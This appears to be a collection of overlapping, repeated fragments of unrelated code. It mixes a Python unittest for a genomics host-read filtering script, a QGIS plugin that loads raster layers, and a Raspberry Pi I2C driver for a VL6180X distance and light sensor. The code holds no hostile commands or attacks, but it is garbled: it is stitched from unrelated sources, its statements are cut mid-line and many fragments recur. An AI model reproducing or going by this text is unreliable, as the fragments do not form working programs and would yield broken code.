"\"human-GRC-db\" self.db_three_name = \"kraken2-human-db\" pass def test_command(self): \"\"\"Test command completes.\"\"\" # run command",
"= \"human-GCA-phix-db\" self.db_two_name = \"human-GRC-db\" self.db_three_name = \"kraken2-human-db\" pass def test_command(self): \"\"\"Test command",
"def test_command(self): \"\"\"Test command completes.\"\"\" # run command res_cmnd = subprocess.run([\"./test-command.sh\", self.file_one, self.file_two,",
"match expectation.\"\"\" # base truth with open(self.output_path + '/host_read_ids.txt') as file: exp_lines =",
"+ \"/fastp.json\") os.remove(self.output_path + \"/test_res_R1.trimmed.fastq.gz\") os.remove(self.output_path + \"/test_res_R2.trimmed.fastq.gz\") if __name__ == \"__main__\": unittest.main()",
"gzip.open(self.output_path + '/test_res_R1.trimmed.fastq.gz','r') as fin: res_lines = [line.decode(\"utf-8\").replace('\\n','') for line in fin if",
"in file.readlines()] # check file size (should be much greater than 100 bytes)",
"# params for the test self.curr_path = os.path.dirname(os.path.abspath(__file__)) self.output_path = self.curr_path + \"/data\"",
"\"/data\" self.file_one = self.output_path + \"/all_reads_R1.fq\" self.file_two = self.output_path + \"/all_reads_R2.fq\" self.database_path =",
"\"/fastp.html\") os.remove(self.curr_path + \"/fastp.json\") os.remove(self.output_path + \"/test_res_R1.trimmed.fastq.gz\") os.remove(self.output_path + \"/test_res_R2.trimmed.fastq.gz\") if __name__ ==",
"self.output_path]) self.assertTrue(res_cmnd.returncode == 0) def test_filter_results(self): \"\"\"Test command results match expectation.\"\"\" # base",
"truth with open(self.output_path + '/host_read_ids.txt') as file: exp_lines = [line.replace('\\n','') for line in",
"# results with gzip.open(self.output_path + '/test_res_R1.trimmed.fastq.gz','r') as fin: res_lines = [line.decode(\"utf-8\").replace('\\n','') for line",
"are no host reads passing filter rel_tol = len(set(res_lines) & set(exp_lines)) / len(set(exp_lines))",
"os.remove(self.curr_path + \"/fastp.json\") os.remove(self.output_path + \"/test_res_R1.trimmed.fastq.gz\") os.remove(self.output_path + \"/test_res_R2.trimmed.fastq.gz\") if __name__ == \"__main__\":",
"with gzip.open(self.output_path + '/test_res_R1.trimmed.fastq.gz','r') as fin: res_lines = [line.decode(\"utf-8\").replace('\\n','') for line in fin",
"0) def test_filter_results(self): \"\"\"Test command results match expectation.\"\"\" # base truth with open(self.output_path",
"self.file_two, self.database_path, self.db_one_name, self.db_two_name, self.db_three_name, self.output_path]) self.assertTrue(res_cmnd.returncode == 0) def test_filter_results(self): \"\"\"Test command",
"self.output_path = self.curr_path + \"/data\" self.file_one = self.output_path + \"/all_reads_R1.fq\" self.file_two = self.output_path",
"[line.decode(\"utf-8\").replace('\\n','') for line in fin if '@' in str(line)] # check there are",
"100) # results with gzip.open(self.output_path + '/test_res_R1.trimmed.fastq.gz','r') as fin: res_lines = [line.decode(\"utf-8\").replace('\\n','') for",
"for line in file.readlines()] # check file size (should be much greater than",
"self.assertTrue(out_size > 100) # results with gzip.open(self.output_path + '/test_res_R1.trimmed.fastq.gz','r') as fin: res_lines =",
"'/test_res_R1.trimmed.fastq.gz','r') as fin: res_lines = [line.decode(\"utf-8\").replace('\\n','') for line in fin if '@' in",
"100 self.assertTrue(rel_tol < 0.1) # finally remove files os.remove(self.curr_path + \"/fastp.html\") os.remove(self.curr_path +",
"# finally remove files os.remove(self.curr_path + \"/fastp.html\") os.remove(self.curr_path + \"/fastp.json\") os.remove(self.output_path + \"/test_res_R1.trimmed.fastq.gz\")",
"== 0) def test_filter_results(self): \"\"\"Test command results match expectation.\"\"\" # base truth with",
"test_command(self): \"\"\"Test command completes.\"\"\" # run command res_cmnd = subprocess.run([\"./test-command.sh\", self.file_one, self.file_two, self.database_path,",
"command res_cmnd = subprocess.run([\"./test-command.sh\", self.file_one, self.file_two, self.database_path, self.db_one_name, self.db_two_name, self.db_three_name, self.output_path]) self.assertTrue(res_cmnd.returncode ==",
"import unittest import subprocess import os class TestPreProcessing(unittest.TestCase): def setUp(self): # params for",
"= \"kraken2-human-db\" pass def test_command(self): \"\"\"Test command completes.\"\"\" # run command res_cmnd =",
"(should be much greater than 100 bytes) out_size = os.path.getsize(self.output_path + '/test_res_R1.trimmed.fastq.gz') self.assertTrue(out_size",
"100 bytes) out_size = os.path.getsize(self.output_path + '/test_res_R1.trimmed.fastq.gz') self.assertTrue(out_size > 100) # results with",
"+ \"/all_reads_R2.fq\" self.database_path = self.curr_path self.db_one_name = \"human-GCA-phix-db\" self.db_two_name = \"human-GRC-db\" self.db_three_name =",
"+ '/host_read_ids.txt') as file: exp_lines = [line.replace('\\n','') for line in file.readlines()] # check",
"\"/all_reads_R1.fq\" self.file_two = self.output_path + \"/all_reads_R2.fq\" self.database_path = self.curr_path self.db_one_name = \"human-GCA-phix-db\" self.db_two_name",
"= self.curr_path self.db_one_name = \"human-GCA-phix-db\" self.db_two_name = \"human-GRC-db\" self.db_three_name = \"kraken2-human-db\" pass def",
"+ \"/data\" self.file_one = self.output_path + \"/all_reads_R1.fq\" self.file_two = self.output_path + \"/all_reads_R2.fq\" self.database_path",
"test self.curr_path = os.path.dirname(os.path.abspath(__file__)) self.output_path = self.curr_path + \"/data\" self.file_one = self.output_path +",
"> 100) # results with gzip.open(self.output_path + '/test_res_R1.trimmed.fastq.gz','r') as fin: res_lines = [line.decode(\"utf-8\").replace('\\n','')",
"in fin if '@' in str(line)] # check there are no host reads",
"res_cmnd = subprocess.run([\"./test-command.sh\", self.file_one, self.file_two, self.database_path, self.db_one_name, self.db_two_name, self.db_three_name, self.output_path]) self.assertTrue(res_cmnd.returncode == 0)",
"command completes.\"\"\" # run command res_cmnd = subprocess.run([\"./test-command.sh\", self.file_one, self.file_two, self.database_path, self.db_one_name, self.db_two_name,",
"finally remove files os.remove(self.curr_path + \"/fastp.html\") os.remove(self.curr_path + \"/fastp.json\") os.remove(self.output_path + \"/test_res_R1.trimmed.fastq.gz\") os.remove(self.output_path",
"expectation.\"\"\" # base truth with open(self.output_path + '/host_read_ids.txt') as file: exp_lines = [line.replace('\\n','')",
"= os.path.dirname(os.path.abspath(__file__)) self.output_path = self.curr_path + \"/data\" self.file_one = self.output_path + \"/all_reads_R1.fq\" self.file_two",
"file: exp_lines = [line.replace('\\n','') for line in file.readlines()] # check file size (should",
"as file: exp_lines = [line.replace('\\n','') for line in file.readlines()] # check file size",
"be much greater than 100 bytes) out_size = os.path.getsize(self.output_path + '/test_res_R1.trimmed.fastq.gz') self.assertTrue(out_size >",
"self.db_two_name = \"human-GRC-db\" self.db_three_name = \"kraken2-human-db\" pass def test_command(self): \"\"\"Test command completes.\"\"\" #"
] |
[] |
[
"Result(): def __init__(self, path=None): self.path = path def display(self): \"\"\" Displays an image",
"self.path: fileInfo = QFileInfo(self.path) path = fileInfo.filePath() baseName = fileInfo.baseName() layer = QgsRasterLayer(path,",
"a new created QGIS Layer. \"\"\" # Check if string is provided if",
"QgsRasterLayer from qgis.PyQt.QtCore import QFileInfo from qgis.core import QgsProject class Result(): def __init__(self,",
"= path def display(self): \"\"\" Displays an image from the given path on",
"from the given path on a new created QGIS Layer. \"\"\" # Check",
"= QFileInfo(self.path) path = fileInfo.filePath() baseName = fileInfo.baseName() layer = QgsRasterLayer(path, baseName) QgsProject.instance().addMapLayer(layer)",
"the given path on a new created QGIS Layer. \"\"\" # Check if",
"if self.path: fileInfo = QFileInfo(self.path) path = fileInfo.filePath() baseName = fileInfo.baseName() layer =",
"is provided if self.path: fileInfo = QFileInfo(self.path) path = fileInfo.filePath() baseName = fileInfo.baseName()",
"True: print \"Layer was loaded successfully!\" else: print \"Unable to read basename and",
"loaded successfully!\" else: print \"Unable to read basename and file path - Your",
"# Check if string is provided if self.path: fileInfo = QFileInfo(self.path) path =",
"fileInfo.baseName() layer = QgsRasterLayer(path, baseName) QgsProject.instance().addMapLayer(layer) if layer.isValid() is True: print \"Layer was",
"string is provided if self.path: fileInfo = QFileInfo(self.path) path = fileInfo.filePath() baseName =",
"layer = QgsRasterLayer(path, baseName) QgsProject.instance().addMapLayer(layer) if layer.isValid() is True: print \"Layer was loaded",
"successfully!\" else: print \"Unable to read basename and file path - Your string",
"\"Unable to read basename and file path - Your string is probably invalid\"",
"created QGIS Layer. \"\"\" # Check if string is provided if self.path: fileInfo",
"layer.isValid() is True: print \"Layer was loaded successfully!\" else: print \"Unable to read",
"\"Layer was loaded successfully!\" else: print \"Unable to read basename and file path",
"given path on a new created QGIS Layer. \"\"\" # Check if string",
"qgis.core import QgsProject class Result(): def __init__(self, path=None): self.path = path def display(self):",
"qgis.core import QgsRasterLayer from qgis.PyQt.QtCore import QFileInfo from qgis.core import QgsProject class Result():",
"import QgsProject class Result(): def __init__(self, path=None): self.path = path def display(self): \"\"\"",
"Displays an image from the given path on a new created QGIS Layer.",
"baseName = fileInfo.baseName() layer = QgsRasterLayer(path, baseName) QgsProject.instance().addMapLayer(layer) if layer.isValid() is True: print",
"QgsRasterLayer(path, baseName) QgsProject.instance().addMapLayer(layer) if layer.isValid() is True: print \"Layer was loaded successfully!\" else:",
"else: print \"Unable to read basename and file path - Your string is",
"import QgsRasterLayer from qgis.PyQt.QtCore import QFileInfo from qgis.core import QgsProject class Result(): def",
"if string is provided if self.path: fileInfo = QFileInfo(self.path) path = fileInfo.filePath() baseName",
"= fileInfo.filePath() baseName = fileInfo.baseName() layer = QgsRasterLayer(path, baseName) QgsProject.instance().addMapLayer(layer) if layer.isValid() is",
"print \"Layer was loaded successfully!\" else: print \"Unable to read basename and file",
"if layer.isValid() is True: print \"Layer was loaded successfully!\" else: print \"Unable to",
"from qgis.PyQt.QtCore import QFileInfo from qgis.core import QgsProject class Result(): def __init__(self, path=None):",
"\"\"\" Displays an image from the given path on a new created QGIS",
"= QgsRasterLayer(path, baseName) QgsProject.instance().addMapLayer(layer) if layer.isValid() is True: print \"Layer was loaded successfully!\"",
"import QFileInfo from qgis.core import QgsProject class Result(): def __init__(self, path=None): self.path =",
"print \"Unable to read basename and file path - Your string is probably",
"QgsProject.instance().addMapLayer(layer) if layer.isValid() is True: print \"Layer was loaded successfully!\" else: print \"Unable",
"QFileInfo from qgis.core import QgsProject class Result(): def __init__(self, path=None): self.path = path",
"image from the given path on a new created QGIS Layer. \"\"\" #",
"fileInfo = QFileInfo(self.path) path = fileInfo.filePath() baseName = fileInfo.baseName() layer = QgsRasterLayer(path, baseName)",
"from qgis.core import QgsRasterLayer from qgis.PyQt.QtCore import QFileInfo from qgis.core import QgsProject class",
"path=None): self.path = path def display(self): \"\"\" Displays an image from the given",
"display(self): \"\"\" Displays an image from the given path on a new created",
"class Result(): def __init__(self, path=None): self.path = path def display(self): \"\"\" Displays an",
"new created QGIS Layer. \"\"\" # Check if string is provided if self.path:",
"was loaded successfully!\" else: print \"Unable to read basename and file path -",
"QFileInfo(self.path) path = fileInfo.filePath() baseName = fileInfo.baseName() layer = QgsRasterLayer(path, baseName) QgsProject.instance().addMapLayer(layer) if",
"is True: print \"Layer was loaded successfully!\" else: print \"Unable to read basename",
"__init__(self, path=None): self.path = path def display(self): \"\"\" Displays an image from the",
"an image from the given path on a new created QGIS Layer. \"\"\"",
"path = fileInfo.filePath() baseName = fileInfo.baseName() layer = QgsRasterLayer(path, baseName) QgsProject.instance().addMapLayer(layer) if layer.isValid()",
"baseName) QgsProject.instance().addMapLayer(layer) if layer.isValid() is True: print \"Layer was loaded successfully!\" else: print",
"QGIS Layer. \"\"\" # Check if string is provided if self.path: fileInfo =",
"<filename>openeo-qgis-plugin-master/models/result.py<gh_stars>0 from qgis.core import QgsRasterLayer from qgis.PyQt.QtCore import QFileInfo from qgis.core import QgsProject",
"= fileInfo.baseName() layer = QgsRasterLayer(path, baseName) QgsProject.instance().addMapLayer(layer) if layer.isValid() is True: print \"Layer",
"self.path = path def display(self): \"\"\" Displays an image from the given path",
"\"\"\" # Check if string is provided if self.path: fileInfo = QFileInfo(self.path) path",
"QgsProject class Result(): def __init__(self, path=None): self.path = path def display(self): \"\"\" Displays",
"def display(self): \"\"\" Displays an image from the given path on a new",
"def __init__(self, path=None): self.path = path def display(self): \"\"\" Displays an image from",
"Layer. \"\"\" # Check if string is provided if self.path: fileInfo = QFileInfo(self.path)",
"qgis.PyQt.QtCore import QFileInfo from qgis.core import QgsProject class Result(): def __init__(self, path=None): self.path",
"path def display(self): \"\"\" Displays an image from the given path on a",
"Check if string is provided if self.path: fileInfo = QFileInfo(self.path) path = fileInfo.filePath()",
"fileInfo.filePath() baseName = fileInfo.baseName() layer = QgsRasterLayer(path, baseName) QgsProject.instance().addMapLayer(layer) if layer.isValid() is True:",
"from qgis.core import QgsProject class Result(): def __init__(self, path=None): self.path = path def",
"path on a new created QGIS Layer. \"\"\" # Check if string is",
"on a new created QGIS Layer. \"\"\" # Check if string is provided",
"provided if self.path: fileInfo = QFileInfo(self.path) path = fileInfo.filePath() baseName = fileInfo.baseName() layer"
] |
[
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x01]) ''' @brief Gets the interrupt state of the ranging @return return",
"@n VL6180X_LEVEL_HIGH value > thresh_high @n VL6180X_OUT_OF_WINDOW value < thresh_low OR value >",
"[self.VL6180X_RESULT_RANGE_STATUS]) result = self.__i2cbus.read_byte(self.__i2c_addr)>>4 return result ''' @brief set IIC addr @param addr",
"int((threshold_h* self.__gain)/0.32) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_LOW>>8, [self.VL6180X_SYSALS_THRESH_LOW,threshold_l>>8,value_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_HIGH>>8, [self.VL6180X_SYSALS_THRESH_HIGH,threshold_h>>8,value_h]) ''' @brief Set the ALS gain @param",
"the ALS gain @param gain the value of gain(range 0-7) @n 20 times",
"result = self.__i2cbus.read_byte(self.__i2c_addr)>>4 return result ''' @brief set IIC addr @param addr The",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_LOW>>8, [self.VL6180X_SYSALS_THRESH_LOW,threshold_l>>8,value_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_HIGH>>8, [self.VL6180X_SYSALS_THRESH_HIGH,threshold_h>>8,value_h]) ''' @brief Set the ALS gain @param gain the",
"= smbus.SMBus(bus) self.__i2c_addr = iic_addr self.__gain = 1.0 self.__atime =100 ''' @brief Initialize",
"value < thresh_low OR value > thresh_high @n VL6180X_NEW_SAMPLE_READY new sample ready '''",
"return True succeed ;return False failed. ''' def begin(self): device_id = self.__get_device_id() if",
"VL6180X_LOW_INTERRUPT GPIO1 interrupt enabled, INT low by default ''' def set_interrupt(self,mode): if(mode ==",
"= 5 VL6180X_ALS_GAIN_1 = 6 VL6180X_ALS_GAIN_40 = 7 # The result of the",
"of the measured light intensity @return return status @n 0 �?No threshold events",
"The valid ID of the sensor VL6180X_ID = 0xB4 # 8 gain modes",
"@param CE The pin number attached to the CE @return return True succeed",
"CE The pin number attached to the CE @return return True succeed ;return",
"mode ''' def als_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) ''' @brief",
"0 �?No threshold events reported @n VL6180X_LEVEL_LOW :value < thresh_low @n VL6180X_LEVEL_HIGH :value",
"self.set_als_gain(self.VL6180X_ALS_GAIN_1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET,0])",
"= 0X010 VL6180X_SYSTEM_MODE_GPIO1 = 0X011 VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO = 0x014 VL6180X_SYSTEM_INTERRUPT_CLEAR = 0x015 VL6180X_SYSTEM_FRESH_OUT_OF_RESET =",
"= int((threshold_l * self.__gain)/0.32) value_h = int((threshold_h* self.__gain)/0.32) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_LOW>>8, [self.VL6180X_SYSALS_THRESH_LOW,threshold_l>>8,value_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_HIGH>>8, [self.VL6180X_SYSALS_THRESH_HIGH,threshold_h>>8,value_h]) '''",
"__stop_interleave_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) ''' @brief Gets validation information for range data",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe4,0x04]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe6,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe7,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xf5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xd9,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00,",
"= 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief turn on interleaved mode ''' def start_interleaved_mode(self):",
"enable the GPIO1 interrupt function @param mode Enable interrupt mode @n VL6180X_DIS_INTERRUPT disabled",
"[0x98,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xb0,0x17]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xad,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xff,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x00,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x99,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa6,0x1b])",
"times gain: VL6180X_ALS_GAIN_1 = 6 @n 40 times gain: VL6180X_ALS_GAIN_40 = 7 @return",
"ambient light interrupt ''' def clear_als_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,2]) ''' @brief Single measurement of",
"1 VL6180X_ALS_GAIN_5 = 2 VL6180X_ALS_GAIN_2_5 = 3 VL6180X_ALS_GAIN_1_67 = 4 VL6180X_ALS_GAIN_1_25 = 5",
"def set_interrupt(self,mode): if(mode == self.VL6180X_DIS_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) elif(mode == self.VL6180X_HIGH_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x10]) elif(mode",
"range @return return ranging data ,uint mm ''' def range_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) return",
"failed. ''' def begin(self): device_id = self.__get_device_id() if device_id != self.VL6180X_ID: return False",
"result = result & 0x07 return result ''' @brief Gets the interrupt state",
"sensor register address VL6180X_IDENTIFICATION_MODEL_ID = 0x000 VL6180X_SYSTEM_MODE_GPIO0 = 0X010 VL6180X_SYSTEM_MODE_GPIO1 = 0X011 VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO",
"of underlying methods @copyright Copyright (c) 2010 DFRobot Co.Ltd (http://www.dfrobot.com) @licence The MIT",
"= 0x10A VL6180X_FIRMWARE_RESULT_SCALER = 0x120 VL6180X_I2C_SLAVE_DEVICE_ADDRESS = 0x212 VL6180X_INTERLEAVED_MODE_ENABLE = 0x2A3 # The",
"self.__i2cbus.read_byte(self.__i2c_addr) if(reset): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x07,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x08,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x96,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x97,0xfd]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe3,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00,",
"\"\"\" import smbus import time import RPi.GPIO as GPIO class DFRobot_VL6180X: # IIC",
"GPIO1 mode selection VL6180X_DIS_INTERRUPT = 0 VL6180X_HIGH_INTERRUPT = 1 VL6180X_LOW_INTERRUPT = 2 #",
"[self.VL6180X_RESULT_ALS_VAL]) a = self.__i2cbus.read_byte(self.__i2c_addr) b = self.__i2cbus.read_byte(self.__i2c_addr) value = (a<<8) | b result",
"License (MIT) @author [yangfeng]<<EMAIL>> @version V1.0 @date 2021-02-09 @get from https://www.dfrobot.com @url https://github.com/DFRobot/DFRobot_VL6180X",
"def range_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) return self.range_get_measurement() ''' @brief Configuration ranging period @param period_ms",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) return self.als_get_measurement() ''' @brief Obtain measured light data @return return The",
"@brief turn on interleaved mode ''' def start_interleaved_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7])",
"[0xf5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xd9,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdb,0xce]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdc,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdd,0xf8]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x9f,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xa3,0x3c])",
"''' def __init__(self,iic_addr =VL6180X_IIC_ADDRESS,bus = 1): self.__i2cbus = smbus.SMBus(bus) self.__i2c_addr = iic_addr self.__gain",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTEGRATION_PERIOD>>8, [self.VL6180X_SYSALS_INTEGRATION_PERIOD,0x63]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD>>8, [self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD,0x30]) self.set_als_gain(self.VL6180X_ALS_GAIN_1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x00])",
"elif(gain == self.VL6180X_ALS_GAIN_10): self.__gain = 10 elif(gain == self.VL6180X_ALS_GAIN_5): self.__gain = 5.0 elif(gain",
"def begin(self): device_id = self.__get_device_id() if device_id != self.VL6180X_ID: return False self.__init() return",
"light intensity @return return status @n 0 �?No threshold events reported @n VL6180X_LEVEL_LOW",
"The light intensity,uint lux ''' def als_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_ALS_VAL>>8, [self.VL6180X_RESULT_ALS_VAL]) a = self.__i2cbus.read_byte(self.__i2c_addr) b",
"interrupt state of the ranging @return return status @n 0 �?No threshold events",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x01]) ''' @brief Gets the",
":new sample ready ''' def range_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result = self.__i2cbus.read_byte(self.__i2c_addr) result =",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) time.sleep(0.3); self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x03]) ''' @brief Retrieve ranging data @return",
"[0xd9,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdb,0xce]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdc,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdd,0xf8]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x9f,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xa3,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb7,0x00])",
"''' def range_set_inter_measurement_period(self,period_ms): if(period_ms > 10): if(period_ms < 2550): period_ms = ( period_ms",
"3 VL6180X_NEW_SAMPLE_READY = 4 ''' @brief Module init @param bus Set to IICBus",
"pin number attached to the CE @return return True succeed ;return False failed.",
"period_ms / 10 ) -1 else: period_ms = 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) return self.range_get_measurement() ''' @brief Configuration ranging period @param period_ms Measurement period,",
"| b result = ((0.32*100*value)/(self.__gain*self.__atime)) return result ''' @brief Enable continuous measurement of",
"register address VL6180X_IDENTIFICATION_MODEL_ID = 0x000 VL6180X_SYSTEM_MODE_GPIO0 = 0X010 VL6180X_SYSTEM_MODE_GPIO1 = 0X011 VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO =",
"0x062 VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD = 0x10A VL6180X_FIRMWARE_RESULT_SCALER = 0x120 VL6180X_I2C_SLAVE_DEVICE_ADDRESS = 0x212 VL6180X_INTERLEAVED_MODE_ENABLE = 0x2A3",
"''' @brief Enable continuous measurement of ambient light intensity mode ''' def als_start_continuous_mode(self):",
